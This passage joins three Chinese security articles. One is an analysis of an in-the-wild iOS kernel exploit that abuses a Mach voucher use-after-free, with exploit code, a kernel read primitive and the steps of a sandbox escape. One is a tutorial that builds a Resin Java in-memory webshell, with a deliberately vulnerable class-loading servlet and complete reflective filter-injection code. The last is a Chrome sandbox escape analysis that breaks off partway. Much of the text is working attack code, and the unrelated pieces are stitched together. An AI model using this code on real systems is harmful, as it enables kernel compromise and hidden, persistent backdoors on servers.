task_set_mach_voucher(
task_t task,
ipc_voucher_t __unused voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
return KERN_SUCCESS;
}
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t* in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
也许有些读者不能很快发现上述代码段中存在的漏洞，实际上这很正常。自2014年以来，这个漏洞一直保留在代码库和所有iPhone上，可以从任何沙箱内部触发。如果任何人尝试使用这段代码，并使用有效的voucher调用task_swap_mach_voucher，那么就会触发这个漏洞。在这四年中，几乎可以肯定的是，尽管可以从任意沙箱中触发漏洞，但还没有任何代码实际使用过task_swap_mach_voucher功能。
这个功能很可能从未被调用过任何一次，无论是在开发、测试、QA还是生产环节中。因为只要有人测试，就会直接导致内核错误（Kernel
Panic）并强制重启。我们只能假设这段代码顺利通过了代码审计、测试和QA过程。task_swap_mach_voucher是任务端口上的内核MIG方法，它也无法被iOS沙箱禁用，进一步加重了该漏洞的威胁程度。
我们要了解为什么这里存在实际的漏洞，就需要深入分析MIG自动生成的代码，该代码调用task_swap_mach_voucher。下面是task_swap_mach_voucher的相关MIG定义
routine task_swap_mach_voucher(
task : task_t;
new_voucher : ipc_voucher_t;
inout old_voucher : ipc_voucher_t);
/* IPC voucher internal object */
type ipc_voucher_t = mach_port_t
intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
destructor: ipc_voucher_release(ipc_voucher_t)
;
下面是运行MIG工具后得到的自动生成代码（已经添加注释）以及其调用的XNU方法：
这个漏洞的根本原因可能在于MIG非常难以使用，安全使用它的唯一方法就是非常仔细地阅读自动生成的代码。我们没有找到任何关于如何正确使用MIG的公开文档。
尽管漏洞的根本原因并不是太明确，但事实是，发现并触发这一漏洞的过程非常简单。
遗憾的是，对这个漏洞的担忧并不是理论上的，而是在野外发现了实际利用。
## 漏洞利用
为了进一步了解这个漏洞，我们需要首先清楚mach voucher实际上是什么。Brandon Azad对其进行了很好的总结：“IPC
voucher表示一组任意属性，可以通过Mach消息的发送权限在进程之间传递。”
具体来说，voucher在内核中由以下结构表示：
/*
* IPC Voucher
*
* Vouchers are a reference counted immutable (once-created) set of
* indexes to particular resource manager attribute values
* (which themselves are reference counted).
*/
struct ipc_voucher {
iv_index_t iv_hash; /* checksum hash */
iv_index_t iv_sum; /* checksum of values */
os_refcnt_t iv_refs; /* reference count */
iv_index_t iv_table_size; /* size of the voucher table */
iv_index_t iv_inline_table[IV_ENTRIES_INLINE];
iv_entry_t iv_table; /* table of voucher attr entries */
ipc_port_t iv_port; /* port representing the voucher */
queue_chain_t iv_hash_link; /* link on hash chain */
};
通过向host_create_mach_voucher主机端口MIG方法提供“recipes”，我们可以创建vouchers，并获取代表这些vouchers的发送端口的发送权限。另外重要的一点是，vouchers应该是独一无二的。对于给定的一组键和值，只有一个mach端口来代表它们。在另一个recipe中提供相同的一组键和值，应该会产生相同的voucher和voucher端口。
Voucher从它们自己的区域（ipc_voucher_zone）来分配，它们是引用计数对象，引用计数存储在iv_refs字段中。
由于针对mach vouchers的Use-After-Free漏洞攻击过程中可能需要创建许多voucher，因此在Brandon的漏洞利用方式中，创建了USER_DATA
voucher，这种voucher包含用户控制的数据，以便始终确保会创建新的voucher：
static mach_port_t
create_voucher(uint64_t id) {
assert(host != MACH_PORT_NULL);
static uint64_t uniqueness_token = 0;
if (uniqueness_token == 0) {
uniqueness_token = (((uint64_t)arc4random()) << 32) | getpid();
}
mach_port_t voucher = MACH_PORT_NULL;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
struct __attribute__((packed)) {
mach_voucher_attr_recipe_data_t user_data_recipe;
uint64_t user_data_content[2];
} recipes = {};
#pragma clang diagnostic pop
recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
recipes.user_data_content[0] = uniqueness_token;
recipes.user_data_content[1] = id;
kern_return_t kr = host_create_mach_voucher(
host,
(mach_voucher_attr_raw_recipe_array_t) &recipes,
sizeof(recipes),
&voucher);
assert(kr == KERN_SUCCESS);
assert(MACH_PORT_VALID(voucher));
return voucher;
}
[@S0rryMybad](https://github.com/S0rryMybad
"@S0rryMybad")和攻击者都认识到，使用以下recipe创建的ATM
vouchers始终是唯一的。在[@S0rryMybad](https://github.com/S0rryMybad
"@S0rryMybad")的PoC和野外漏洞利用中，也使用了相同的结构：
mach_voucher_attr_recipe_data_t atm_data = {
.key = MACH_VOUCHER_ATTR_KEY_ATM,
.command = 510
}
## 漏洞利用策略
像往常一样，攻击者通过hw.memsize来确认正在攻击的是4k还是16k设备。攻击者会创建一个新的、挂起的线程，并获取其线程端口，以备随后使用。
攻击者将再次使用管道缓冲技术，以便提高打开文件的限制，同时分配0x800管道。攻击者分配两组端口（ports_a、ports_b）和两个独立端口。
攻击者还分配了ATM voucher，他们最后会用到这一权限。此外，他们再次使用内存压力技术强制GC。
他们在voucher之前分配了0x2000的大小，这是ATM
vouchers的位置，意味着这些都是独一无二的。这样一来，将会分配新ipc_voucher结构和新ipc_ports的一大块区域。
for ( k = 0; k < 0x2000; ++k ) {
host_create_mach_voucher(mach_host_self(),
voucher_recipe,
0x10,
&before_voucher_ports[k]);
}
分配目标voucher：
host_create_mach_voucher(mach_host_self(), voucher_recipe, 0x10, &target_voucher_port);
在voucher之后分配0x1000：
for ( k = 0; k < 0x1000; ++k ) {
host_create_mach_voucher(mach_host_self(),
voucher_recipe,
0x10,
&after_voucher_ports[k]);
}
攻击者在这里尝试将目标voucher放在一个页面上，他们同时还控制页面上所有其他voucher的生命周期，这类似于ipc_port UaF技术：
他们通过thread_set_mach_voucher将voucher端口分配给休眠线程。这样一来，会将voucher的引用次数增加到2——一个由端口持有，一个由线程持有：
thread_set_mach_voucher(sleeping_thread_mach_port, target_voucher_port);
随之就触发了漏洞：
old_voucher = MACH_PORT_NULL;
task_swap_mach_voucher(mach_task_self(),
target_voucher_port,
&old_voucher);
我想再次强调，这个触发器代码绝对没什么特别之处，这就是使用这个API的预期方式。
在此之后，有两个引用计数指针指向voucher，一个是从mach端口到voucher，另一个是从sleeper线程的结构线程到voucher，但voucher只具有一个引用。
他们销毁了之前的端口：
for (m = 4096; m < 0x2000; ++m) {
mach_port_destroy(mach_task_self(), before_voucher_ports[m]);
}
然后是目标端口：
mach_port_destroy(mach_task_self(), target_voucher_port);
最后是后面的端口：
for (m = 4096; m < 0x1000; ++m) {
mach_port_destroy(mach_task_self(), after_voucher_ports[m]);
}
由于目标voucher对象其中之一只剩下了一个引用，因此当引用计数变为零时，销毁target_voucher_port的过程将释放voucher，但sleeper线程的ith_voucher字段仍将指向现在释放后的voucher。
因此，攻击者可以强制利用区域GC，使得包含voucher的页面可以由另一个区域重新分配。
他们在mach消息中发送80MB页面大小的外联内存描述符，每一个都包含重复伪造的空voucher结构，其中的iv_refs字段设置为0x100，其他所有字段都设置为0：
这些会以20条消息来发送，每条消息分别发送到ports_a中的前20个端口。
随后，他们分配另一个0x2000端口，discloser_before_ports。
接下来，分配相邻的目标端口，并将上下文值设置为0x1337733100。我们一开始不清楚为什么要这么做，但最后明白了原因。
然后，调用thread_get_mach_voucher，传递sleeper线程的线程端口：
discloser_mach_port = MACH_PORT_NULL;
thread_get_mach_voucher(sleeping_thread_mach_port, 0, &discloser_mach_port);
下面是该方法的内核实现。回想一下，ith_voucher是一个指向voucher的悬挂指针，攻击者试图用外联内存描述符缓冲区替换它所指向的内容：
kern_return_t
thread_get_mach_voucher(
thread_act_t thread,
mach_voucher_selector_t __unused which,
ipc_voucher_t* voucherp)
{
ipc_voucher_t voucher;
mach_port_name_t voucher_name;
if (THREAD_NULL == thread)
return KERN_INVALID_ARGUMENT;
thread_mtx_lock(thread);
voucher = thread->ith_voucher; // read the dangling pointer
// which should now point in to an OOL desc
// backing buffer
/* if already cached, just return a ref */
if (IPC_VOUCHER_NULL != voucher) {
ipc_voucher_reference(voucher);
thread_mtx_unlock(thread);
*voucherp = voucher;
return KERN_SUCCESS;
}
...
随后，自动生成的MIG包装器将在返回的（悬空）voucher指针上调用convert_voucher_to_port：
RetCode = thread_get_mach_voucher(thr_act, In0P->which, &voucher);
thread_deallocate(thr_act);
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
...
OutP->voucher.name = (mach_port_t)convert_voucher_to_port(voucher);
convert_voucher_to_port代码如下：
ipc_port_t
convert_voucher_to_port(ipc_voucher_t voucher)
{
ipc_port_t port, send;
if (IV_NULL == voucher)
return (IP_NULL);
/* create a port if needed */
port = voucher->iv_port;
if (!IP_VALID(port)) {
port = ipc_port_alloc_kernel();
ipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);
...
/* If we lose the race, deallocate and pick up the other guy's port */
if (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) {
ipc_port_dealloc_kernel(port);
port = voucher->iv_port;
}
}
ip_lock(port);
send = ipc_port_make_send_locked(port);
...
return (send);
}
这里正在处理的ipc_voucher结构实际上现在由攻击者发送到ports_a端口的一个外联内存描述符后备缓冲区支持。由于他们将所有字段与引用计数分开设置为0，因此iv_port字段将为NULL。这意味着，内核将（通过ipc_port_alloc_kernel()）分配一个新端口，然后将该ipc_port指针写入voucher对象。OSCompareAndSwap会将voucher->iv_port字段设置为端口：
if (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) { ...
如果到目前为止，所做的一切努力都有效，那么我们会得到将voucher端口的地址写入外联内存描述符缓冲区的效果。
攻击者分配另外0x1000端口，再次确保具有相邻端口和虚假voucher端口的整个页面的所有权：
for ( ll = 0; ll < 0x1000; ++ll ) {
mach_port_allocate(mach_task_self(), 1, &discloser_after_ports[ll]);
}
图示如下：
他们持续接收外联内存描述符，直到发现一个看起来像内核指针的内容为止。然后，检查iv_refs字段是否为0x101（攻击者将其设置为0x100，并且创建了新的端口voucher，添加了额外的引用）。如果找到这样的端口，就会再次分配外联描述符内存，但这次会将ipc_port指针提升到指向下一个16k页面的开始部分：
他们会破坏所有的discloser_before和discloser_after端口然后强制GC。将iv_port字段向上移动16k的原因是，因为当iv_port字段被覆盖时，它们泄露了对虚假voucher端口的引用，因此不会收集区域块（即使释放了相邻端口也是如此）。但是现在，虚假voucher的iv_port字段指向的内存可以被不同的区域重用。
此时，攻击者已经得到了内核读写原语的两个先决条件：一个指向ipc_port的可控指针，以及掌握内核地址以清楚喷射应该在哪里结束。从现在开始，攻击者就可以像之前的漏洞利用一样开展实际攻击。
## 管道
攻击者在0x800
4k管道缓冲区中构建伪造的pid_for_task内核端口。因为攻击者知道，iv_port指针指向4k边界，因此他们在管道缓冲区的下半部分构建了虚假的端口结构，并且在偏移量+0x800的上半部分写入该伪造端口的管道fd的索引，设置虚假端口以从该地址读取：
void
fill_buf_with_simple_kread_32_port(uint64_t buf,
uint64_t kaddr_of_dangling_port,
uint64_t read_target)
{
char* fake_port = (char*)buf;
*(uint32_t*)(buf + 0x00) = 0x80000002; // IO_ACTIVE | IKOT_TASK
*(uint32_t*)(buf + 0x04) = 10; // io_refs
*(uint32_t*)(buf + 0x68) = kaddr_of_dangling_port + 0x100;
*(uint32_t*)(buf + 0xA0) = 10;
char* fake_task = buf+0x100;
*(uint32_t*)(fake_task + 0x010) = 10;
*(uint64_t*)(fake_task + 0x368) = read_target - 0x10;
}
fill_buf_with_simple_kread_32_port(buf,
target_port_next_16k_page,
target_port_next_16k_page + 0x800);
magic = 0x88880000;
for (int i = 0; i < 0x800; i++) {
*(uint32_t*)&buf[2048] = i + magic;
write(pipe_fds[2 * i + 1], buf, 0xfff);
}
攻击者调用thread_get_mach_voucher，会将发送权限返回到其中一个管道缓冲区中的虚假任务端口，然后调用pid_for_task，它将执行kread32原语，读取在replacer管道缓冲区中偏移量+0x800处写入的u32值：
thread_get_mach_voucher(sleeping_thread_mach_port,
0,
&discloser_mach_port);
replacer_pipe_value = 0;
pid_for_task(discloser_mach_port, &replacer_pipe_value);
if ((replacer_pipe_index & 0xFFFF0000) == magic ) {
...
从魔术值的地方，他们能够确定与替换端口内存的管道缓冲区所对应的文件描述符。现在攻击者就拥有了kread32原语的所有要求。
攻击者使用kread32在最初公开的虚假voucher端口地址附近搜索ip_context为0x1337733100的ipc_port结构。这是他们在开始时给相邻端口的上下文值。搜索从公开的端口地址向外进行，一旦找到，就会在ipc_port中读取+0x60处的字段，也就是ip_receiver字段。
该端口的接收权限属于这一任务，因此ipc_port的ip_receiver字段将指向其任务的struct
ipc_space。他们读取偏移量+0x28处的指针，指向它们的任务结构。随后，读取任务结构的proc指针，然后向后遍历双向链接的进程列表，直到找到一个值，其中较低21位与allproc列表头部的偏移量相匹配。一旦找到后，攻击者就可以通过将运行时观察到的值减去allproc符号的未刷新值来确定KASLR
slide。
使用KASLR
slide，攻击者可以读取kernel_task指针，并找到内核vm_map的地址。这就是攻击者在管道缓冲区中构建标准虚假内核任务所需的全部内容，可以为内核内存提供读写操作。
## 沙箱逃逸
攻击者遍历allproc链接的进程列表，查找自己的进程并启动。他们暂时为自己分配了launchd的凭据结构，从而继承了launchd的沙箱配置文件。他们在内存中修补平台策略沙箱配置文件字节码，从
**DATA:** file段部分读取嵌入式植入工具，计算CDHash，并使用内核任意写入漏洞将CDHash添加到trustcache。
攻击者将植入的Payload二进制文件放在/tmp/updateserver中，并通过posix_spawn来执行。
他们通过将kern.maxfilesperproc sysctl的值设置为0x27ff的方式来标记已经攻陷的设备。
## 清理工作
至此，攻击者已经不再需要虚假内核任务端口，因此会将其销毁。虚假内核任务端口的引用计数为0x2000，因此不会被释放。他们关闭所有管道然后返回，并且ping
HTTP服务器以表示对另一个目标的成功攻陷。 | 社区文章 |
# Resin内存马
## 目录
* 1、环境搭建
* 2、Filter 分析
* 3、构造内存马
* 获取上下文
* 编写内存马
### 1、环境搭建
Resin 4.0.66
web.xml如下：
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd">
</web-app>
HelloServlet
package com.example.ResinDemo2;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("Get Request");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String Code = req.getParameter("s");
try {
(new com.sun.org.apache.bcel.internal.util.ClassLoader()).loadClass(Code).newInstance();
} catch(Exception e){
e.printStackTrace();
}
}
public void destroy() {
}
}
HelloFilter
package com.example.ResinDemo2;
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebFilter(filterName = "HelloFilter",urlPatterns = "/hello-servlet")
public class HelloFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void destroy() {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
response.getWriter().println("hello world");
chain.doFilter(request, response);
}
}
### 2、Filter 分析
在Filter打个断点，开启Debug
请求`/ResinDemo2-1.0-SNAPSHOT/hello-servlet`
查看IDEA中的调用栈，`在调用栈中找第一次调用doFilter`，
FilterChain过滤器链：在一个Web应用中，可以开发编写多个Filter，这些Filter组合起来称为是一个过滤器链，Web服务器根据Filter在web.xml文件中的注册顺序（mapping的配置顺序）决定先调用哪个Filter，依次调用后面的过滤器，如果没有下一个过滤器，则调用目标资源。
所以要直接找第一次调用doFilter的位置，就能更快找到每个filter是如何添加到FilterChain中。
`com.caucho.server.dispatch.ServletInvocation`这里第一次调用了doFilter。
在该class中检索`_filterChain`，在这个类中有`setFilterChain`，这个函数生成`_filterChain`。在该函数打下断点，重启resin服务，查看这个函数的调用栈。
Debug至filterchain遍历至HelloFilter时，查看调用栈，跟到`FilterMapper::buildDispatchChain`
跟进`FilterMapper::buildDispatchChain`，该函数主要是遍历FilterMapper._filterMap为FilterMapping类型的元素map，`从map中获取filterName`，然后调用`FilterMapper._filterManager.createFilter(filterName)`生成具体的Filter类，这里就是生成一个HelloFilter，调用`FilterMapper._filterManager.getFilter(filterName)`生成config。
调用栈继续往上回溯，在`com.caucho.server.webapp.WebApp::buildInvocation`中看到WebApp对象中有变量是`_filterMapper`（`FilterMapper`类型）。Resin启动时，在内存中将会生成一个WebApp对象，会将filter所有相关的信息记录在这个变量中。因此如果能获取到WebApp，那么就能获取`_filterMapper`。
WebApp的`_filterMapper`调用了`buildDispatchChain`，然后就回到先前分析的流程。
在此处断点，可见此处获取`_filterMapper._filterMap`中的FilterMapping类型的元素map，从map中获取`filterName`。所以**`在构造内存马的时候，要获取到WebApp._filterMapper，在其_filterMap变量中添加FilterMapping类型的元素，并且该元素中有filterName和urlPattern两个变量。`**
继续往下跟进，`_filterMapper._filterManager`调用`createFilter`
跟进`FilterManager::createFilter`，从`_filterMapper._filterManager`的`_filters`变量（HashMap类型）中通过`filterName`获取一个`FilterConfigImpl类型的对象config`，如果`config≠null`，则继续。
**`因此在构造内存马的时候需要在_filterMapper._filterManager.filters这个Hashmap中存入元素（filterName
→ FilterConfigImp）`**
继续跟进，从`_filterMapper._filterManager._instances`中通过FilterName，获取具体的Filter对象，这里是HelloFilter对象。`因此在构造内存马的时候需要在_filterMapper._filterManager._instances这个hashmap中存入元素(filerName→恶意Filter)`
返回生成的Filter
构造一个Filter的必要部分完成，
### 3、构造内存马
#### 获取上下文
通过工具快速检索从上下文中获取FilterMapper
<https://github.com/c0ny1/java-object-searcher>
// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.caucho.server.dispatch.FilterMapper").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/admin/Documents/CodeFile/java/MiddleWare/logs/resin");
searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;}
---> [17] = {com.caucho.env.thread2.ResinThread2} = {com.caucho.env.thread2.ResinThread2}
---> contextClassLoader = {com.caucho.loader.EnvironmentClassLoader}
---> _attributes = {java.util.Map<java.lang.String, java.lang.Object>}
---> [caucho.application] = {com.caucho.server.webapp.WebApp}
---> _filterMapper = {com.caucho.server.dispatch.FilterMapper}
在表达式中编写
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("_attributes");
field.setAccessible(true);
ConcurrentHashMap _attributes = (ConcurrentHashMap) field.get(obj);
WebApp webApp = (WebApp) _attributes.get("caucho.application");
Field _filterManager_field = webApp.getClass().getDeclaredField("_filterManager");
_filterManager_field.setAccessible(true);
FilterManager _filterManager = (FilterManager) _filterManager_field.get(webApp);
Field _filterMapper_field = webApp.getClass().getDeclaredField("_filterMapper");
_filterMapper_field.setAccessible(true);
FilterMapper _filterMapper = (FilterMapper) _filterMapper_field.get(webApp);
#### 编写内存马
import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterManager;
import com.caucho.server.dispatch.FilterMapper;
import com.caucho.server.dispatch.FilterMapping;
import com.caucho.server.webapp.WebApp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;
public class ResinFilterLoader extends AbstractTranslet {
private static Object filterMapper = null;
private static Object filterManager = null;
private static String filterName = "EvilFilter";
private static String filterClassName = "com.EvilFilter";
private static String url = "/*";
//加载恶意Filter到内存中
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter编译后的class base64编码");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
private static synchronized void GetWebContent() throws Exception {
try {
Object currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
ConcurrentHashMap _attributes = (ConcurrentHashMap) GetField(contextClassLoader, "_attributes");
Object webapp = _attributes.get("caucho.application");
filterManager = GetField(webapp, "_filterManager");
filterMapper = GetField(webapp, "_filterMapper");
} catch (Exception e) {
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
//将恶意Filter写入上下文中
private static synchronized void InjectFilter() throws Exception {
try{
if (filterMapper != null && filterManager != null){
java.lang.Runtime.getRuntime().exec("touch /Users/lishuheng/Documents/CodeFile/java/MiddleWare/test/GetFilterMapperAndManagerOk");
Filter characterEncodingHFilter = (Filter)Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
Field _filterMap_field = filterMapper.getClass().getDeclaredField("_filterMap");
_filterMap_field.setAccessible(true);
ArrayList _filterMap = (ArrayList) _filterMap_field.get(filterMapper);
FilterMapping filtermapping = new FilterMapping();
filtermapping.setFilterName(filterName);
filtermapping.setURLRegexp(url);
_filterMap.add(filtermapping);
Field _filters_field = filterManager.getClass().getDeclaredField("_filters");
_filters_field.setAccessible(true);
HashMap _filters = (HashMap) _filters_field.get(filterManager);
FilterConfigImpl filterConfig = new FilterConfigImpl();
filterConfig.setFilterName(filterName);
_filters.put(filterName,filterConfig);
Field _instances_field = filterManager.getClass().getDeclaredField("_instances");
_instances_field.setAccessible(true);
HashMap _instances = (HashMap) _instances_field.get(filterManager);
_instances.put(filterName,characterEncodingHFilter);
}
}catch (Exception e){
}
}
static {
new ResinFilterLoader();
}
public ResinFilterLoader(){
try{
//加载恶意Filter到内存中
LoadFilter();
//获取上下文
GetWebContent();
//将恶意Filter写入上下文中
InjectFilter();
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
} | 社区文章 |
# 一行代码能产生多大影响：Chrome沙箱逃逸漏洞分析（CVE-2020-0981）
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2020/04/you-wont-believe-what-this-one-line.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Windows环境上的Chromium沙箱已经经受了时间的考验，目前，人们普遍认为这是在大规模部署的沙箱机制中最好的一个，不需要特权提升即可运行。然而，优点和缺点往往都是相对的。沙箱的实现主要取决于Windows操作系统的安全性，而对Windows的更改行为不会受到Chromium开发团队的控制。如果我们在Windows的安全实施机制中发现错误，那么就有可能攻破沙箱。
本文主要分析了Windows 10
1903版本中引入的一个漏洞，该漏洞打破了CHromium用来保证沙箱安全的某些安全假设。我们将详细分析如何利用该漏洞来开发利用链，以在Chrome/Edge的GPU进程或Firefox的默认内容沙箱中实现沙箱逃逸。我们的漏洞利用过程，实际上是对Windows上一些小缺陷的仔细观察，这些小缺陷本身并没有越过安全边界，但却导致成功的沙箱逃逸。该漏洞在2020年4月修复，编号为CVE-2020-0981。
## 漏洞背景
在描述漏洞本身之前，我们首先快速浏览一下Chromium沙箱在Windows上的工作方式。借助受限令牌（Restricted
Token），沙箱可以按照最小特权的概念来工作。受限令牌是在Windows
2000中添加的一项功能，可以通过以下操作来修改进程的访问令牌，从而减少授予该进程的访问权限：
1、永久禁用组；
2、删除特权；
3、添加受限制的SID。
禁用组将会删除访问令牌的成员，从而导致无法访问由这些组进行保护的资源。删除特权可以防止进程执行任何不必要的特权操作。最后，添加受限制的SID会更改安全访问检查过程。如果要被授予对资源的访问权限，我们需要匹配主列表以及“受限SID”列表中的组的安全描述符条目。如果SID列表中的成员没有被授予对资源的访问权限，那么访问就会被拒绝。
Chromium还使用从Vista开始添加的完整性级别（IL）功能来进一步限制资源访问。通过设置较低的IL，无论访问检查的结果如何，都可以阻止对更高完整性资源的写入访问。
通过这种方式，将受限令牌与IL结合使用，沙箱可以限制受威胁进程能够访问哪些资源，从而限制远程代码执行可能造成的潜在影响。阻止写访问尤为重要，因为这通常会使攻击者可以通过写文件或注册表项，来破坏系统的其他部分。
Windows上的任何进程都可以使用其他令牌创建新进程，例如：通过调用`CreateProcessAsUser`。那么，是什么阻止了沙箱进程使用不受限制的令牌创建新进程呢？Windows和Chromium实施了一些安全缓解措施，以使得在沙箱外部创建新进程变得困难：
1、内核限制了非特权用户可以向新进程分配的令牌；
2、沙箱限制限制了用于新进程的适用访问令牌的可用性；
3、Chromium在Job对象内运行一个沙箱进程，该进程可以被任何硬进程配额限制为1的子进程继承。
4、在Windows 10中，Chromium使用子进程缓解策略来阻止子进程创建。除了来自3的Job对象之外，还应用了该对象。
所有这些缓解措施最终都依赖于Windows来确保安全。但是，到目前为止，最关键的还在于1。即使2、3、4都失败了，从理论上来看，我们也不能为新的进程分配更多特权的访问令牌。那么，在分配新令牌时，内核需要检查哪些内容呢？
我们假设调用过程中没有`SeAssignPrimaryTokenPrivilege`（我们实际的测试中也没有），那么新的令牌必须满足两个条件之一，这两个条件已经在内核函数`SeIsTokenAssignableToProcess`中进行了检查。检查的条件基于内核TOKEN对象结构中的指定值，如下所示：
总而言之，令牌必须满足以下条件：
1、当前进程令牌的子级。要求新令牌的父令牌ID等于进程令牌的ID。
2、当前进程令牌的同级。要求父令牌ID和身份验证ID相同。
此外，还进行了其他检查，以确保新令牌不是身份验证级别的模拟令牌，并且新令牌的IL必须小于或等于当前进程令牌。这些同样重要，但正如我们即将看到的，在实际中用处不大。
令牌分配的过程中，不会检查父令牌或子令牌是否受到限制。如果位于受限令牌沙箱中，我们能否通过所有检查，并将其分配给可以逃逸的沙箱的子级不受限制的令牌呢？显然是不能的，系统会在分配受限令牌时进行“同级令牌”检查，而这些环节将无法通过，这时父级/子级检查将强制执行。如果我们查看内核函数`SepFilterToken`，我们将会了解其具体的实现方式。将现有属性从父令牌复制到新的受限令牌时，将会执行以下代码：
NewToken->ParentTokenId = OldToken->TokenId;
通过设置新的受限令牌的父令牌ID，可以确保只有创建受限令牌的进程才能将其用于子级，因为令牌ID对于TOKEN对象的每个实例都是唯一的。同时，通过修改父令牌ID，将会破坏同级检查。
但是，当我在Windows 10
1909环境上进行测试以验证令牌分配行为时，我发现有些奇怪，因为无论我创建了什么令牌，都无法导致分配失败。再次查看`SepFilterToken`，我发现代码已经更改。
NewToken->ParentTokenId = OldToken->ParentTokenId;
现在，内核代码只会从旧令牌中复制父令牌ID。这完全打破了原有的检查，因为新的沙箱进程具有一个令牌，而这个令牌被视为桌面上任何其他令牌的同级。
假设我可以绕过其他三个已有的子进程缓解措施，那么这一行更改就足以让我们突破“受限令牌”沙箱。为此，我们还要进行一系列的尝试。
## 沙箱逃逸
最终，我想到的沙箱逃逸方式非常复杂，不一定是最佳方案。但是，由于Windows的复杂性，我们很难在漏洞利用链中找到可以利用的替代原语。
首先，我们尝试获取合适的访问令牌，并将其分配给新的进程。令牌需要满足以下条件：
1、令牌是主令牌，或者可以转换为主令牌；
2、令牌的IL等于沙箱的IL，或者允许写入，从而可以降低IL级别；
3、令牌符合同级令牌的标准，可以进行分配；
4、令牌用于当前的控制台会话；
5、令牌未沙箱化，或者比当前令牌沙箱化的程序要小。
访问令牌是可保护的对象，因此，如果我们具有足够的访问权限，就可以打开令牌的句柄。但是，访问令牌不是用名称来引用的，而是需要打开令牌，这就意味着需要我们有权访问进程或模拟线程。我们可以使用`Get-AccessibleToken`命令使用PowerShell的`NtObjectManager`模块查找可访问的令牌。
PS> $ps = Get-NtProcess -Name "chrome.exe" `
-FilterScript { $_.IsSandboxToken } `
-IgnoreDeadProcess
PS> $ts = Get-AccessibleToken -Processes $ps -CurrentSession `
-AccessRights Duplicate
PS> $ts.Count
101
